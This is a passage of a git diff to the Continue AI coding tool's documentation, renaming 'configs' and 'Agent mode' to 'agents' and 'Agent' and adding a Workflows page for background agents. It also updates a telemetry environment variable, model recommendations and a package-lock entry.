interface or editing files locally. This ensures consistency between hub-managed and local configurations. - - diff --git a/docs/hub/configs/use-a-config.mdx b/docs/hub/configs/use-a-config.mdx deleted file mode 100644 index 1785adee5a2..00000000000 --- a/docs/hub/configs/use-a-config.mdx +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "How to Use a Custom Config" -description: "Learn how to add and use a custom configuration in Continue, including setting required inputs and selecting it in your IDE extension." ---- - -## Steps to use a custom configuration in Continue - -Once you've found the configuration you want to use on Continue Hub: - -1. Click “Add Config” on its page -2. Add any required inputs (e.g. secrets like API keys) - -After saving, open the Continue CLI or IDE extension and - -- Select the configuration from the **config dropdown** in the Continue extension -- Type `/config` and select the configuration in the Continue CLI -- Begin using it for chat mode, agent mode, or other configured capabilities. - diff --git a/docs/hub/governance/creating-an-org.mdx b/docs/hub/governance/creating-an-org.mdx index f8da55c3581..c0a021000d2 100644 --- a/docs/hub/governance/creating-an-org.mdx +++ b/docs/hub/governance/creating-an-org.mdx @@ -6,7 +6,7 @@ description: "To Create an Organization, click the organization selector in the ![create an org selector](/images/hub/governance/images/org-selector-4ea627afc7c0765633780920a0fbe16e.png) 1. Choose a name, which will be used as the display name for your organization throughout the hub -2. Add a slug, which will be used for your org URL and as the prefix to all organization configuration slugs +2. Add a slug, which will be used for your org URL and as the prefix to all organization blocks and agent slugs 3. Select an icon for your organization using the image uploader 4. Finally, add a Biography, which will be displayed on your org Home Page diff --git a/docs/hub/introduction.mdx b/docs/hub/introduction.mdx index 2dd9b32daf0..449a59e8fe6 100644 --- a/docs/hub/introduction.mdx +++ b/docs/hub/introduction.mdx @@ -1,114 +1,15 @@ --- -title: "Continue Hub" -description: "Central platform for discovering, creating, and sharing AI coding configurations, agents, and components with organization-level governance" +title: "Introduction" +description: "Continue Hub provides a central registry for creating, managing, and sharing AI coding assistants and their reusable building blocks with organization-level governance and configuration" --- -[Continue Hub](https://hub.continue.dev) is your central platform for AI-powered development. Discover pre-built configurations, create custom agents, and manage components that power your coding workflow. +[Continue Hub](https://hub.continue.dev) is the place to discover, configure, and govern the models, rules, and MCP tools you need to create a custom AI coding agent. -## What You Can Do on the Hub +Continue Hub provides a centralized platform for managing the essential building blocks of your AI coding workflow: - +- **[Models](/hub/blocks/block-types#models)**: Discover and configure models from various providers +- **[MCP Tools](/hub/blocks/block-types#mcp-servers)**: Access and integrate Model Context Protocol tools to retrieve real-time data and take action +- **[Rules](/hub/blocks/block-types#rules)**: Define custom guidelines for your custom AI coding agent to follow +- **[Prompts](/hub/blocks/block-types#prompts)**: Create and share reusable instructions that kickoff your agent - - - Use a combinations of models, tools, and rules for different coding contexts. [Learn more →](/hub/configs/intro) - - - - - - Run background agents that complete tasks automatically in your repositories. [Learn more →](/hub/workflows/intro) - - - - - -## Hub Components - -Both configs and agents are built from reusable components that you can create, share, and customize: - - - - - - Large Language Models from various providers (OpenAI, Anthropic, etc.) configured for specific roles like chat, autocomplete, or editing - - - - - - Model Context Protocol servers that provide tools and capabilities like database access, web search, or custom functions - - - - - - Guidelines that shape AI behavior - coding standards, constraints, or specific instructions for your domain - - - - - - Reusable instructions for common tasks, optimized for specific workflows or coding patterns - - - - - -## Creating Components - - - - Components are the building blocks used in both configs and agents. When you create a component on the hub, it becomes available for use in any config or agent. - - - - - - - - Start with a blank template: - - - Select New Rules, Prompts, Configs, or Agents from the Hub navigation - - Click 'New' to start with a blank template - - Configure by filling in the inputs to create your markdown configuration - ![hub navigation new](../images/hub/hub-nav.png) - - - - - - Customize an existing component: - - - Browse the [Hub](https://hub.continue.dev/) for what you need - - Click 'Remix' to create a copy that you can customize - - Modify the configuration for your specific needs - - Save your customized version - ![hub remix button](../images/hub/block-remix-button.png) - - - - - - -### Component Permissions - -Set visibility for your components: - -- **Personal**: Only you can see and use -- **Public**: Anyone can discover and use -- **Organization**: Team members can access - -### Component Inputs - -Some components can receive values, including secrets, as inputs through templating. For values that the user needs to set, you can use template variables (e.g. `${{ inputs.API_KEY}}`). Then, the user can set `API_KEY: ${{ secrets.MY_API_KEY }}` in the `with` clause of their agent or config. - - -**Choosing between `secrets.` and `inputs.`** - -When creating blocks for the hub: -- Use `${{ inputs.INPUT_NAME }}` in your block definition when you want users to be able to customize which secret is used -- Users will then map their own secrets using `${{ secrets.SECRET_NAME }}` in the `with` clause - -For personal or single-use configurations, you can skip the inputs layer and reference `${{ secrets.SECRET_NAME }}` directly in your block. - +Continue Hub also makes it easy for engineering leaders to centrally [configure](/hub/secrets/secret-types) and [govern](/hub/governance/org-permissions) these resources for their organization. \ No newline at end of file diff --git a/docs/hub/secrets/secret-types.mdx b/docs/hub/secrets/secret-types.mdx index d2b690faabe..ebf3d39ca3d 100644 --- a/docs/hub/secrets/secret-types.mdx +++ b/docs/hub/secrets/secret-types.mdx @@ -1,16 +1,16 @@ --- title: "Secret Types" -description: "The Continue Hub comes with secrets management built-in. Secrets are values such as API keys or endpoints that can be shared across configurations and within organizations." +description: "The Continue Hub comes with secrets management built-in. Secrets are values such as API keys or endpoints that can be shared across agents and within organizations." --- ## User secrets -User secrets are defined by the user for themselves. This means that user secrets are available only to the user that created them. User secrets are assumed to be safe for the user to know, so they will be sent to the IDE extensions alongside `config.yaml`. +User secrets are defined by the user for themselves. This means that user secrets are available only to the user that created them. User secrets are assumed to be safe for the user to know, so they will be sent to the IDE extensions alongside the agent `config.yaml`. This allows API requests to be made directly from the IDE extensions. You can use user secrets with [Solo](/hub/governance/pricing#solo), [Teams](/hub/governance/pricing#teams), and [Enterprise](/hub/governance/pricing#enterprise). User secrets can be managed [here](https://hub.continue.dev/settings/secrets) in the hub. ## Org secrets -Org secrets are defined by admins for their organization. Org secrets are available to anyone in the organization to use with configurations in that organization. Org secrets are assumed to not be shareable with the user (e.g. you are a team lead who wants to give team members access to models without passing out API keys). +Org secrets are defined by admins for their organization. Org secrets are available to anyone in the organization to use with agents in that organization. Org secrets are assumed to not be shareable with the user (e.g. you are a team lead who wants to give team members access to models without passing out API keys). This is why LLM requests are proxied through api.continue.dev / on-premise proxy and secrets are never sent to the IDE extensions. You can only use org secrets on [Teams](/hub/governance/pricing#teams) and [Enterprise](/hub/governance/pricing#enterprise). If you are an admin, you can manage secrets for your organization from the org settings page. diff --git a/docs/hub/sharing.mdx b/docs/hub/sharing.mdx index 657019912ab..014e90ab673 100644 --- a/docs/hub/sharing.mdx +++ b/docs/hub/sharing.mdx @@ -15,17 +15,17 @@ Share your custom assistants, blocks, and configurations with the Continue commu [Visit the Hub →](https://hub.continue.dev) -## Browse Configurations +## Browse Agents Explore assistants created by the community for specific use cases and workflows. -[Browse Configurations →](https://hub.continue.dev) +[Browse Agents →](https://hub.continue.dev) -## Using Configurations +## Using Agents Learn how to discover, install, and use community-created assistants in your projects. -[Learn About Configurations →](/hub/configs/intro) +[Learn About Agents →](/hub/agents/intro) --- diff --git a/docs/hub/source-control.mdx b/docs/hub/source-control.mdx index 4db6ed8a2bd..ee0c410ec41 100644 --- a/docs/hub/source-control.mdx +++ b/docs/hub/source-control.mdx @@ -1,6 +1,6 @@ --- title: "Source Control" -description: "When managing your custom configurations within an organization, you might want to take advantage of your usual source control workflows. Continue makes this easy with a GitHub Action that automatically syncs your YAML files with hub.continue.dev. We are also planning on adding automations for GitLab, BitBucket, Gitee, and others. If you are interested, please reach out to us on ." +description: "When managing your custom agents within an organization, you might want to take advantage of your usual source control workflows. Continue makes this easy with a that automatically syncs your YAML files with hub.continue.dev. We are also planning on adding automations for GitLab, BitBucket, Gitee, and others. If you are interested, please reach out to us on ." --- ## Quickstart @@ -34,11 +34,11 @@ This is the only configuration necessary, but you can view the full list of opti ### 4. Commit and push -Add the [YAML for your configurations](/reference) to the appropriate directories. The name of the file will be the slug of the configuration options. +Add the [YAML for your agents and blocks](/reference) to the appropriate directories. The name of the file will be the slug of the agent/block. -- `assistants/public` for public configurations -- `assistants/private` for private (visible only within your organization) configurations -- `blocks/public` for public configuration options -- `blocks/private` for private configuration options +- `assistants/public` for public agents +- `assistants/private` for private (visible only within your organization) agents +- `blocks/public` for public blocks +- `blocks/private` for private blocks -Then, commit and push your changes. Once the GitHub Action has completed running, you should be able to view the configurations within your organization on hub.continue.dev. For subsequent changes, make sure to increment the `version` property of your updated YAML file(s). \ No newline at end of file +Then, commit and push your changes. Once the GitHub Action has completed running, you should be able to view the agents within your organization on hub.continue.dev. For subsequent changes, make sure to increment the `version` property of your updated YAML file(s). diff --git a/docs/hub/workflows/intro.mdx b/docs/hub/workflows/intro.mdx new file mode 100644 index 00000000000..1c5fd3d5b98 --- /dev/null +++ b/docs/hub/workflows/intro.mdx @@ -0,0 +1,97 @@ +--- +title: "Introduction" +description: "Run Continuous AI workflows in the background" +--- + + + Workflows are in beta. Please share any feedback with us in [GitHub discussions](https://github.com/continuedev/continue/discussions/8051). + + +Workflows are a way to run and manage background agents in Continue. You can use them for: +- Addressing small nitpicks and bugs +- Building boilerplate-heavy features +- Investigating an issue to kickstart your work +- [Automated security scanning](../../guides/snyk-mcp-continue-cookbook) +- Running repeatable tasks with your own rules, prompts, and MCP servers +- Much more! + +## Quickstart + +To run your first workflow + +1. Go to [hub.continue.dev/agents](https://hub.continue.dev/agents) + +![Agent Setup](/images/hub/workflows/images/workflows-setup.png) + +2. Connect with your GitHub account +3. Enter the prompt for your agent + +## Example Workflow Tasks + +Here are some example tasks you can try with your workflows: + + + + + - "Fix the TypeError in api/users.ts where the user object might be undefined" + - "Add null checks to all database query results in the services/ directory" + - "Fix all ESLint warnings in the components folder" + - "Update deprecated React lifecycle methods to hooks in legacy components" + + + + + + - "Create a new REST endpoint for user profile updates with validation and error handling" + - "Add pagination to the products list page with previous/next buttons" + - "Implement dark mode toggle using Tailwind CSS classes across all pages" + - "Add unit tests for the authentication service using Jest" + + + + + + - "Scan the codebase for hardcoded API keys and move them to environment variables" + - "Add input sanitization to all user-facing form fields" + - "Update all npm packages with known security vulnerabilities" + - "Implement rate limiting on the /api/login endpoint" + + + + + + - "Add JSDoc comments to all exported functions in the utils/ directory" + - "Create a README.md for the new payment-processing module with setup instructions" + - "Generate TypeScript interfaces for all API response schemas" + - "Add error handling boilerplate to all async functions missing try-catch blocks" + + + + + + - "Investigate why the login API is returning 500 errors intermittently and suggest fixes" + - "Analyze the performance bottleneck in the data processing pipeline" + - "Review the database schema for the orders table and suggest optimizations" + - "Find all TODO comments related to authentication and create a summary" + + + + + + - "Extract the repeated validation logic in controllers into a shared utility function" + - "Convert all class components in src/legacy to functional components with hooks" + - "Rename all instances of 'userId' to 'accountId' across the codebase" + - "Split the 500-line UserService.ts into smaller, single-responsibility services" + + + + +## How to use background agents + +The practice of using background agents, which we call Continuous AI, requires practice and forethought to set up the right guiderails and habits to fit your development workflow, much like learning to work with a larger engineering team. We are constantly sharing our learnings on the [Continuous AI Blog](https://blog.continue.dev), but these few high-level tips are a great way to quickly become successful with workflows: + +- Practice first with the [Continue CLI](../../guides/cli) in "TUI mode". The same agent that powers our CLI is used for workflows, so you can easily test your prompts locally. +- Identify and begin with tasks that you are confident can be accomplished by Continue. For example, ask Continue to fix a small bug where you already know the solution is simple. +- Once you have merged a PR created by Continue, be increasingly ambitious with your tasks. By being willing to start tasks that might not succeed on the first try, you will learn about prompting best practices and limitations of current language models. +- Use thorough prompts. Workflows can run for a long time to complete their task, so it is worthwhile to invest in sharing all of the important details. +- Discuss the use of workflows with your team. Truly embracing Continuous AI likely means acknowledging that a higher volume of PRs will be created and adjusting your code review habits. diff --git a/docs/ide-extensions/agent/how-it-works.mdx b/docs/ide-extensions/agent/how-it-works.mdx index ccb1a65b67b..d24557d78aa 100644 --- a/docs/ide-extensions/agent/how-it-works.mdx +++ b/docs/ide-extensions/agent/how-it-works.mdx @@ -1,13 +1,13 @@ --- title: "How Agent Mode Works" -description: "Agent mode offers the same functionality as Chat mode, while also including tools in the request to the model and an interface for handling tool calls and responses." +description: "Agent offers the same functionality as Chat, while also including tools in the request to the model and an interface for handling tool calls and responses." --- ## How the Tool Handshake Works Tools provide a flexible, powerful way for models to interface with the external world. They are provided to the model as a JSON object with a name and an arguments schema. For example, a `read_file` tool with a `filepath` argument will give the model the ability to request the contents of a specific file. -The following handshake describes how Agent mode uses tools: +The following handshake describes how Agent uses tools: 1. In Agent mode, available tools are sent along with `user` chat requests 2. The model can choose to include a tool call in its response diff --git a/docs/ide-extensions/agent/how-to-customize.mdx b/docs/ide-extensions/agent/how-to-customize.mdx index c2294b647f8..1cf18bf3177 100644 --- a/docs/ide-extensions/agent/how-to-customize.mdx +++ b/docs/ide-extensions/agent/how-to-customize.mdx @@ -1,12 +1,12 @@ --- title: "How to Customize Agent Mode" description: "Learn how to customize Agent Mode in Continue to better fit your workflow and coding style." -sidebarTitle: "Customize Agent Mode" +sidebarTitle: "Customize Agent" --- ## How to Add Rules Blocks -Adding Rules can be done in your configuration locally or in the Hub. You can explore Rules on the Continue Hub and refer to the [Rules deep dive](/customize/deep-dives/rules) for more details. +Adding Rules can be done in your agent locally or in the Hub. You can explore Rules on the Continue Hub and refer to the [Rules deep dive](/customize/deep-dives/rules) for more details. ## How to Customize System Messages @@ -25,11 +25,11 @@ models: ## How to Add MCP Tools -You can add MCP servers to your configuration to give Agent mode access to more tools. Explore [MCP Servers on the Hub](https://hub.continue.dev) and consult the [MCP guide](/customize/deep-dives/mcp) for more details. +You can add MCP servers to your agent to give Agent access to more tools. Explore [MCP Servers on the Hub](https://hub.continue.dev) and consult the [MCP guide](/customize/deep-dives/mcp) for more details. ## How to Configure Tool Policies -You can adjust the Agent mode's tool usage behavior to three options: +You can adjust the Agent's tool usage behavior to three options: - **Ask First (default)**: Request user permission with "Cancel" and "Continue" buttons - **Automatic**: Automatically call the tool without requesting permission diff --git a/docs/ide-extensions/agent/quick-start.mdx b/docs/ide-extensions/agent/quick-start.mdx index 0ed038b8d04..24d86a9f806 100644 --- a/docs/ide-extensions/agent/quick-start.mdx +++ b/docs/ide-extensions/agent/quick-start.mdx @@ -3,7 +3,7 @@ title: "Quick Start" description: "Get started with Continue's Agent mode to automatically implement code changes, fix bugs, and run commands using AI-powered tools that can modify your codebase based on natural language instructions" --- -Agent mode equips the Chat model with the tools needed to handle a wide range of coding tasks, allowing the model to make decisions and save you the work of manually finding context and performing actions. +Agent equips the Chat model with the tools needed to handle a wide range of coding tasks, allowing the model to make decisions and save you the work of manually finding context and performing actions. @@ -41,14 +41,14 @@ Agent mode equips the Chat model with the tools needed to handle a wide range of You can switch to `Agent` in the mode selector below the chat input box. The mode selector offers three options: -- **Chat mode**: No tools available, pure conversation -- **Plan mode**: Read-only tools for safe exploration and planning -- **Agent mode**: All tools available for making changes +- **Chat**: No tools available, pure conversation +- **Plan**: Read-only tools for safe exploration and planning +- **Agent**: All tools available for making changes ![How to select agent mode](/images/mode-select-agent.png) - If Agent mode or Plan mode is disabled with a `Not Supported` message, the selected + If Agent or Plan is disabled with a `Not Supported` message, the selected model or provider doesn't support tools, or Continue doesn't yet support tools with it. See [Model Blocks](/customization/models) for more information. @@ -57,21 +57,21 @@ You can switch to `Agent` in the mode selector below the chat input box. The mod Use the keyboard shortcut `Cmd/Ctrl + .` to quickly cycle between modes. -### How to Chat with Agent mode +### How to Chat with Agent -Agent mode lives within the same interface as [Chat](/ide-extensions/chat/how-it-works) mode, so the same [input](/ide-extensions/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/ide-extensions/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/ide-extensions/chat/quick-start#how-to-include-code-context). +Agent lives within the same interface as [Chat](/ide-extensions/chat/how-it-works), so the same [input](/ide-extensions/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/ide-extensions/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/ide-extensions/chat/quick-start#how-to-include-code-context). -#### How to Use Natural Language with Agent mode +#### How to Use Natural Language with Agent -With Agent mode, you can provide natural language instruction and let the model do the work. As an example, you might say +With Agent, you can provide natural language instruction and let the model do the work. As an example, you might say > Set the @typescript-eslint/naming-convention rule to "off" for all eslint configurations in this project -Agent mode will then decide which tools to use to get the job done. +Agent will then decide which tools to use to get the job done. -## How to Give Agent Mode Permission +## How to Give Agent Permission -By default, Agent mode will ask permission when it wants to use a tool. Click `Continue` to allow Agent mode to proceed with the tool call or `Cancel` to reject it. +By default, Agent will ask permission when it wants to use a tool. Click `Continue` to allow Agent mode to proceed with the tool call or `Cancel` to reject it. ![agent requesting permission](/images/ide-extensions/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png) diff --git a/docs/ide-extensions/chat/context-selection.mdx b/docs/ide-extensions/chat/context-selection.mdx index c76b43b9c34..4c5dc9cc884 100644 --- a/docs/ide-extensions/chat/context-selection.mdx +++ b/docs/ide-extensions/chat/context-selection.mdx @@ -22,11 +22,11 @@ You can include a specific file in your current workspace by typing '@Files' and ## Codebase Search -For better codebase awareness, see our [guide on making agent mode aware of codebases and documentation](/guides/codebase-documentation-awareness). +For better codebase awareness, see our [guide on making agents aware of codebases and documentation](/guides/codebase-documentation-awareness). ## How to Include Documentation Sites -For better documentation awareness, see our [guide on making agent mode aware of codebases and documentation](/guides/codebase-documentation-awareness). +For better documentation awareness, see our [guide on making agents aware of codebases and documentation](/guides/codebase-documentation-awareness). ## How to Include Terminal Contents diff --git a/docs/ide-extensions/edit/how-to-customize.mdx b/docs/ide-extensions/edit/how-to-customize.mdx index a9a7752a5aa..f6925e76412 100644 --- a/docs/ide-extensions/edit/how-to-customize.mdx +++ b/docs/ide-extensions/edit/how-to-customize.mdx @@ -6,7 +6,7 @@ sidebarTitle: "Customize Edit" ## How to Set Active Edit/Apply Model -You can configure particular models to be used for Edit and Apply requests. +You can configure particular models from your Agent to be used for Edit and Apply requests. 1. Click the 3 dots above the main input 2. Click the cube icon to expand the "Models" section diff --git a/docs/ide-extensions/install.mdx b/docs/ide-extensions/install.mdx index ea413a8ba03..bb2c7749c9f 100644 --- a/docs/ide-extensions/install.mdx +++ b/docs/ide-extensions/install.mdx @@ -34,7 +34,7 @@ The Continue logo will appear on the left sidebar. For a better experience, move -[Sign in to the hub](https://auth.continue.dev/) to get started +[Sign in to the hub](https://auth.continue.dev/) to get started with your first agent @@ -64,7 +64,7 @@ Click `Install`, which will cause the Continue logo to show up on the right tool -[Sign in to the hub](https://auth.continue.dev/) to get started +[Sign in to the hub](https://auth.continue.dev/) to get started with your first agent @@ -78,6 +78,6 @@ Click `Install`, which will cause the Continue logo to show up on the right tool ## Signing in -Click "Get started" to sign in to the hub and get started. +Click "Get started" to sign in to the hub and start using agents. ![Hub Onboarding in the Extension](../images/getting-started/images/hub-onboarding-card-81abd457b6d131c4b0aa89a5a6d647d3.png) diff --git a/docs/ide-extensions/plan/quick-start.mdx b/docs/ide-extensions/plan/quick-start.mdx index 864a33cc942..d6ea9c386af 100644 --- a/docs/ide-extensions/plan/quick-start.mdx +++ b/docs/ide-extensions/plan/quick-start.mdx @@ -21,7 +21,7 @@ You can switch to `Plan` in the mode selector below the chat input box. ### Chat with Plan -Plan mode lives within the same interface as [Chat mode](/ide-extensions/chat/how-it-works) and [Agent mode](/ide-extensions/agent/how-it-works), so the same [input](/ide-extensions/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/ide-extensions/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/ide-extensions/chat/quick-start#how-to-include-code-context). +Plan mode lives within the same interface as [Chat](/ide-extensions/chat/how-it-works) and [Agent](/ide-extensions/agent/how-it-works), so the same [input](/ide-extensions/chat/quick-start#how-to-start-a-conversation) is used to send messages and you can still use the same manual methods of providing context, such as [`@` context providers](/ide-extensions/chat/quick-start#how-to-use--for-additional-context) or adding [highlighted code from the editor](/ide-extensions/chat/quick-start#how-to-include-code-context). #### What makes Plan different diff --git a/docs/ide-extensions/quick-start.mdx b/docs/ide-extensions/quick-start.mdx index a339bc76a3a..f05e3559cfa 100644 --- a/docs/ide-extensions/quick-start.mdx +++ b/docs/ide-extensions/quick-start.mdx @@ -1,6 +1,6 @@ --- title: "Quick Start Tutorial" -description: "Learn Continue's core features through hands-on exercises. Get started with Autocomplete, Edit, Chat, and Agent mode in minutes." +description: "Learn Continue's core features through hands-on exercises. Get started with Autocomplete, Edit, Chat, and Agent in minutes." sidebarTitle: "Quick Start" --- @@ -100,7 +100,7 @@ Continue will show you a diff of the proposed changes. Accept or reject individu ![edit-demo](../images/edit-quick-start.gif) -## 💬 Chat Mode +## 💬 Chat **What it does**: Interactive AI assistant that can analyze code, answer questions, and provide guidance without leaving your IDE. @@ -138,7 +138,7 @@ Try these follow-up questions: -### Chat Mode Keyboard Shortcuts +### Chat Keyboard Shortcuts @@ -171,7 +171,7 @@ Focus Current Chat / Add Selected Code To Current Chat / Close Continue Sidebar --- -## 🤖 Agent Mode +## 🤖 Agent **What it does**: An autonomous coding assistant that can read files, make changes, run commands, and handle complex multi-step tasks. @@ -182,14 +182,14 @@ Focus Current Chat / Add Selected Code To Current Chat / Close Continue Sidebar 3. Select **"Agent"** mode - + Try this prompt: ``` "Write comprehensive unit tests for the sorting functions in this file. Create the tests in a new file using Jest, and make sure to test edge cases like empty arrays and single elements." ``` - -Agent mode will: + +Agent will: - ✅ Analyze your existing code - ✅ Create a new test file - ✅ Write comprehensive tests @@ -199,8 +199,8 @@ Agent mode will: - Agent mode has powerful capabilities including file creation and modification. - Always review Agent mode's changes before accepting them. + Agent has powerful capabilities including file creation and modification. + Always review Agent's changes before accepting them. ![agent-demo](../images/agent-quick-start.gif) @@ -210,23 +210,23 @@ Agent mode will: Ready to explore more? Continue offers five powerful features to enhance your coding workflow: - -[Agent Mode](/ide-extensions/agent/quick-start) equips the Chat model with the tools needed to handle a wide range of coding tasks + +[Agent](/ide-extensions/agent/quick-start) equips the Chat model with the tools needed to handle a wide range of coding tasks -![agent mode](/images/agent-9ef792cfc196a3b5faa984fb072c4400.gif) +![agent](/images/agent-9ef792cfc196a3b5faa984fb072c4400.gif) - Learn more about [Agent Mode](/ide-extensions/agent/quick-start) + Learn more about [Agent](/ide-extensions/agent/quick-start) - + [Chat](/ide-extensions/chat/quick-start) makes it easy to ask for help from an LLM without needing to leave the IDE ![chat](/images/chat-489b68d156be2aafe09ee7cedf233fba.gif) - Learn more about [Chat Mode](/ide-extensions/chat/quick-start) + Learn more about [Chat](/ide-extensions/chat/quick-start) @@ -236,7 +236,7 @@ Ready to explore more? Continue offers five powerful features to enhance your co ![plan](/images/plan-mode.gif) - Learn more about [Plan Mode](/ide-extensions/agent/plan-mode) + Learn more about [Plan](/ide-extensions/agent/plan-mode) @@ -274,7 +274,7 @@ Congratulations! You've experienced all four core Continue features. Here's what icon="rocket" href="/ide-extensions/agent/quick-start" > - Dive deeper into Agent mode capabilities and advanced use cases + Dive deeper into Agent capabilities and advanced use cases - + Discover [effective prompting techniques](/customize/deep-dives/prompts), [hub - v. local configuration](/guides/understanding-configs), and [custom slash + v. local agents](/guides/understanding-agents), and [custom slash commands](/customize/deep-dives/prompts). - Explore [Hub configurations](/hub/configs/intro), [organization + Explore [Hub Agents](/hub/agents/intro), [organization management](/hub/governance/creating-an-org), and [sharing configurations](/hub/sharing). diff --git a/docs/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png b/docs/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png new file mode 100644 index 00000000000..456db04a9c4 Binary files /dev/null and b/docs/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png differ diff --git a/docs/images/hub/block-new-button.png b/docs/images/hub/block-new-button.png new file mode 100644 index 00000000000..456db04a9c4 Binary files /dev/null and b/docs/images/hub/block-new-button.png differ diff --git a/docs/images/hub/block-new-page.png b/docs/images/hub/block-new-page.png new file mode 100644 index 00000000000..9addc9238ba Binary files /dev/null and b/docs/images/hub/block-new-page.png differ diff --git a/docs/images/hub/bundle-new-button.png b/docs/images/hub/bundle-new-button.png new file mode 100644 index 00000000000..60ccc23d69b Binary files /dev/null and b/docs/images/hub/bundle-new-button.png differ diff --git a/docs/images/hub/hub-nav.png b/docs/images/hub/hub-nav.png deleted file mode 100644 index 43344605658..00000000000 Binary files a/docs/images/hub/hub-nav.png and /dev/null differ diff --git a/docs/index.mdx b/docs/index.mdx index a8ce41c72f3..8c7eadd88d0 100644 --- a/docs/index.mdx +++ b/docs/index.mdx @@ -1,7 +1,7 @@ --- title: "Welcome to Continue" icon: book-open -description: "Practice Continuous AI with an open-source CLI, open-source IDE extensions, and a Hub for custom agents" +description: "Practice Continuous AI with an open-source CLI, open-source IDE extensions, and a Hub for custom AI coding agents" --- diff --git a/docs/reference.mdx b/docs/reference.mdx index 2933ea3ace8..e1fe1fa12a2 100644 --- a/docs/reference.mdx +++ b/docs/reference.mdx @@ -14,9 +14,9 @@ Continue Agents are defined using the `config.yaml` specification. Learn how to work with Continue's configuration system, including using hub models, rules, and tools, creating local configurations, and organizing your setup. - - Learn how to build and configure configs, understand their capabilities, and customize them for your development workflow. - + +Learn how to build and configure agents, understand their capabilities, and customize them for your development workflow. + ## Properties diff --git a/docs/reference/continue-mcp.mdx b/docs/reference/continue-mcp.mdx index 6481470d531..4b37b421c76 100644 --- a/docs/reference/continue-mcp.mdx +++ b/docs/reference/continue-mcp.mdx @@ -45,7 +45,7 @@ What context providers are available in Continue? ### Customization ``` -How do I add custom rules to my configuration in Continue? +How do I add custom rules to my agent in Continue? ``` ## Troubleshooting diff --git a/docs/reference/deprecated-codebase.mdx b/docs/reference/deprecated-codebase.mdx index 6e552493b4e..e17d13ad1bc 100644 --- a/docs/reference/deprecated-codebase.mdx +++ b/docs/reference/deprecated-codebase.mdx @@ -6,14 +6,14 @@ noindex: true --- - **This feature is deprecated.** The `@Codebase` context provider has been deprecated in favor of a more integrated approach to codebase awareness. Please refer to our [Guide on Making Agent Mode Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach. + **This feature is deprecated.** The `@Codebase` context provider has been deprecated in favor of a more integrated approach to codebase awareness. Please refer to our [Guide on Making Agents Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach. ## Migration Guide If you're currently using `@Codebase` or `@Folder` context providers, please migrate to the new approach outlined in our [codebase and documentation awareness guide](/guides/codebase-documentation-awareness). The new approach provides: -- Better integration with Continue's Agent mode features +- Better integration with Continue's Agent features - More intelligent context selection - Improved performance and accuracy diff --git a/docs/reference/deprecated-docs.mdx b/docs/reference/deprecated-docs.mdx index f0e57d5d045..a62e88b4907 100644 --- a/docs/reference/deprecated-docs.mdx +++ b/docs/reference/deprecated-docs.mdx @@ -6,14 +6,14 @@ noindex: true --- - **This feature is deprecated.** The `@Docs` context provider has been deprecated in favor of a more integrated approach to documentation awareness. Please refer to our [Guide on Making Agent Mode Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach. + **This feature is deprecated.** The `@Docs` context provider has been deprecated in favor of a more integrated approach to documentation awareness. Please refer to our [Guide on Making Agents Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach. ## Migration Guide If you're currently using the `@Docs` context provider, please migrate to the new approach outlined in our [codebase and documentation awareness guide](/guides/codebase-documentation-awareness). The new approach provides: -- Better integration with Continue's Agent mode features +- Better integration with Continue's Agent features - More intelligent context selection - Improved performance and accuracy diff --git a/docs/snippets/ModelRecommendations.jsx b/docs/snippets/ModelRecommendations.jsx index 1346e4edc4d..a802e96b73c 100644 --- a/docs/snippets/ModelRecommendations.jsx +++ b/docs/snippets/ModelRecommendations.jsx @@ -88,14 +88,12 @@ export const ModelRecommendations = ({ role = "all" }) => { notes: "Closed models are slightly better than open models", }, apply: { - open: [ - "[FastApply](https://hub.continue.dev/mdpauley/fast-apply-15b-v10)", - ], + open: ["N/A"], closed: [ "[Relace Instant Apply](https://hub.continue.dev/relace/instant-apply)", "[Morph Fast Apply](https://hub.continue.dev/morphllm/morph-v2)", ], - notes: "Closed models are better than open models", + notes: "Open models are not good enough for this model role", }, embed: { open: [ diff --git a/docs/telemetry.mdx b/docs/telemetry.mdx index b566d046bee..f71255f0ddd 100644 --- a/docs/telemetry.mdx +++ b/docs/telemetry.mdx @@ -36,15 +36,15 @@ Alternatively in VS Code, you can disable telemetry through your VS Code setting ### CLI -For `cn`, the Continue CLI, set the environment variable `CONTINUE_ALLOW_ANONYMOUS_TELEMETRY=0` before running commands: +For `cn`, the Continue CLI, set the environment variable `CONTINUE_CLI_ENABLE_TELEMETRY=0` before running commands: ```bash -export CONTINUE_ALLOW_ANONYMOUS_TELEMETRY=0 +export CONTINUE_CLI_ENABLE_TELEMETRY=0 cn ``` Or run it inline: ```bash -CONTINUE_ALLOW_ANONYMOUS_TELEMETRY=0 cn +CONTINUE_CLI_ENABLE_TELEMETRY=0 cn ``` diff --git a/extensions/cli/package-lock.json b/extensions/cli/package-lock.json index 5ee422523d2..7ab691886ea 100644 --- a/extensions/cli/package-lock.json +++ b/extensions/cli/package-lock.json @@ -10234,9 +10234,9 @@ } }, "node_modules/happy-dom": { - "version": "20.0.2", - "resolved": "https://registry.npmjs.org/happy-dom/-/happy-dom-20.0.2.tgz", - "integrity": "sha512-pYOyu624+6HDbY+qkjILpQGnpvZOusItCk+rvF5/V+6NkcgTKnbOldpIy22tBnxoaLtlM9nXgoqAcW29/B7CIw==", + "version": "20.0.0", + "resolved": "https://registry.npmjs.org/happy-dom/-/happy-dom-20.0.0.tgz", + "integrity": "sha512-GkWnwIFxVGCf2raNrxImLo397RdGhLapj5cT3R2PT7FwL62Ze1DROhzmYW7+J3p9105DYMVenEejEbnq5wA37w==", 